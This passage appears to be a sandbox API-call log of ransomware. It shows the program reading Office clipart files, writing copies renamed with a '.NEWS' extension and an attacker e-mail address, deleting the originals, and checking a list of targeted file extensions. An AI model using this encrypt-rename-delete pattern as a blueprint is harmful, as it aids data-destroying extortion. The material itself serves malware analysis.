(hObject=0x370) returned 1 [0240.233] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.233] SetEndOfFile (hFile=0x3cc) returned 1 [0240.240] CloseHandle (hObject=0x3cc) returned 1 [0240.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0240.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.741] lstrlenW (lpString=".doc") returned 4 [0240.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.741] lstrlenW (lpString=".docx") returned 5 [0240.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.741] lstrlenW (lpString=".pdf") returned 4 [0240.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.741] lstrlenW (lpString=".xls") returned 4 [0240.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.742] lstrlenW (lpString=".xlsx") returned 5 [0240.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.742] lstrlenW (lpString=".ppt") returned 4 [0240.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.742] lstrlenW (lpString=".zip") returned 4 [0240.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.742] lstrlenW (lpString=".rar") returned 4 [0240.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.742] lstrlenW (lpString=".bz2") returned 4 [0240.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.743] lstrlenW (lpString=".7z") returned 3 [0240.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.743] lstrlenW (lpString=".dbf") returned 4 [0240.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.743] lstrlenW (lpString=".1cd") returned 4 [0240.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.743] lstrlenW (lpString=".jpg") returned 4 [0240.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.744] lstrlenW (lpString=".doc") returned 4 [0240.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.744] lstrlenW (lpString=".docx") returned 5 [0240.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.744] lstrlenW (lpString=".pdf") returned 4 [0240.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.744] lstrlenW (lpString=".xls") returned 4 [0240.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.744] lstrlenW (lpString=".xlsx") returned 5 [0240.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.745] lstrlenW (lpString=".ppt") returned 4 [0240.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.745] lstrlenW (lpString=".zip") returned 4 [0240.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.745] lstrlenW (lpString=".rar") returned 4 [0240.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.745] lstrlenW (lpString=".bz2") returned 4 [0240.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.745] lstrlenW (lpString=".7z") returned 3 [0240.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.745] lstrlenW (lpString=".dbf") returned 4 [0240.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.746] lstrlenW (lpString=".1cd") returned 4 [0240.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0240.746] lstrlenW (lpString=".jpg") returned 4 [0240.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.746] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0240.746] lstrlenW (lpString="AN04117_.WMF") returned 12 [0240.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.748] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6060) returned 1 [0240.748] CloseHandle (hObject=0x388) returned 1 [0240.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0240.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0240.770] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.770] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0240.785] GetLastError () returned 0x0 [0240.785] ReadFile (in: hFile=0x324, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x17ac, lpOverlapped=0x0) returned 1 [0240.818] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0240.821] ReadFile (in: hFile=0x324, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.822] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.822] SetEndOfFile (hFile=0x384) returned 1 [0240.822] CloseHandle (hObject=0x384) returned 1 [0240.823] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.823] SetEndOfFile (hFile=0x324) returned 1 [0241.578] CloseHandle (hObject=0x324) returned 1 [0241.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0241.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0241.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.580] lstrlenW (lpString=".doc") returned 4 [0241.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.580] lstrlenW (lpString=".docx") returned 5 [0241.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.580] lstrlenW (lpString=".pdf") returned 4 [0241.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.581] lstrlenW (lpString=".xls") returned 4 [0241.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.581] lstrlenW (lpString=".xlsx") returned 5 [0241.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.581] lstrlenW (lpString=".ppt") returned 4 [0241.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.581] lstrlenW (lpString=".zip") returned 4 [0241.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.581] lstrlenW (lpString=".rar") returned 4 [0241.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.581] lstrlenW (lpString=".bz2") returned 4 [0241.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.582] lstrlenW (lpString=".7z") returned 3 [0241.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.582] lstrlenW (lpString=".dbf") returned 4 [0241.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.582] lstrlenW (lpString=".1cd") returned 4 [0241.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.582] lstrlenW (lpString=".jpg") returned 4 [0241.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.583] lstrlenW (lpString=".doc") returned 4 [0241.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.583] lstrlenW (lpString=".docx") returned 5 [0241.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.583] lstrlenW (lpString=".pdf") returned 4 [0241.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.583] lstrlenW (lpString=".xls") returned 4 [0241.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.583] lstrlenW (lpString=".xlsx") returned 5 [0241.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.583] lstrlenW (lpString=".ppt") returned 4 [0241.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.584] lstrlenW (lpString=".zip") returned 4 [0241.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.584] lstrlenW (lpString=".rar") returned 4 [0241.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.584] lstrlenW (lpString=".bz2") returned 4 [0241.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.584] lstrlenW (lpString=".7z") returned 3 [0241.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.584] lstrlenW (lpString=".dbf") returned 4 [0241.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.584] lstrlenW (lpString=".1cd") returned 4 [0241.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0241.585] lstrlenW (lpString=".jpg") returned 4 [0241.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.585] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0241.585] lstrlenW (lpString="AN04196_.WMF") returned 12 [0241.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0241.586] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3144) returned 1 [0241.587] CloseHandle (hObject=0x324) returned 1 [0241.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0241.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0241.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0241.588] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.588] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0241.589] GetLastError () returned 0x0 [0241.589] ReadFile (in: hFile=0x324, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0xc48, lpOverlapped=0x0) returned 1 [0241.596] WriteFile (in: hFile=0x1f0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0241.599] ReadFile (in: hFile=0x324, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.599] WriteFile (in: hFile=0x1f0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.600] SetEndOfFile (hFile=0x1f0) returned 1 [0241.600] CloseHandle (hObject=0x1f0) returned 1 [0241.600] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.601] SetEndOfFile (hFile=0x324) returned 1 [0241.608] CloseHandle (hObject=0x324) returned 1 [0241.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0241.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0241.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.613] lstrlenW (lpString=".doc") returned 4 [0241.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.613] lstrlenW (lpString=".docx") returned 5 [0241.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.613] lstrlenW (lpString=".pdf") returned 4 [0241.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.613] lstrlenW (lpString=".xls") returned 4 [0241.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.613] lstrlenW (lpString=".xlsx") returned 5 [0241.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.614] lstrlenW (lpString=".ppt") returned 4 [0241.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.614] lstrlenW (lpString=".zip") returned 4 [0241.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.614] lstrlenW (lpString=".rar") returned 4 [0241.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.614] lstrlenW (lpString=".bz2") returned 4 [0241.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.614] lstrlenW (lpString=".7z") returned 3 [0241.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.615] lstrlenW (lpString=".dbf") returned 4 [0241.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.615] lstrlenW (lpString=".1cd") returned 4 [0241.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.615] lstrlenW (lpString=".jpg") returned 4 [0241.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.616] lstrlenW (lpString=".doc") returned 4 [0241.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.616] lstrlenW (lpString=".docx") returned 5 [0241.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.616] lstrlenW (lpString=".pdf") returned 4 [0241.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.616] lstrlenW (lpString=".xls") returned 4 [0241.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.616] lstrlenW (lpString=".xlsx") returned 5 [0241.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.616] lstrlenW (lpString=".ppt") returned 4 [0241.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.617] lstrlenW (lpString=".zip") returned 4 [0241.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.617] lstrlenW (lpString=".rar") returned 4 [0241.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.617] lstrlenW (lpString=".bz2") returned 4 [0241.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.617] lstrlenW (lpString=".7z") returned 3 [0241.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.617] lstrlenW (lpString=".dbf") returned 4 [0241.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.617] lstrlenW (lpString=".1cd") returned 4 [0241.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0241.618] lstrlenW (lpString=".jpg") returned 4 [0241.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.618] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0241.618] lstrlenW (lpString="AN04206_.WMF") returned 12 [0241.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0242.163] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7668) returned 1 [0242.163] CloseHandle (hObject=0x188) returned 1 [0242.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0242.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.424] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.424] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0242.425] GetLastError () returned 0x0 [0242.425] ReadFile (in: hFile=0x288, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0242.492] WriteFile (in: hFile=0x188, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0242.496] ReadFile (in: hFile=0x288, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.496] WriteFile (in: hFile=0x188, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.496] SetEndOfFile (hFile=0x188) returned 1 [0242.496] CloseHandle (hObject=0x188) returned 1 [0242.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.497] SetEndOfFile (hFile=0x288) returned 1 [0242.504] CloseHandle (hObject=0x288) returned 1 [0242.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft 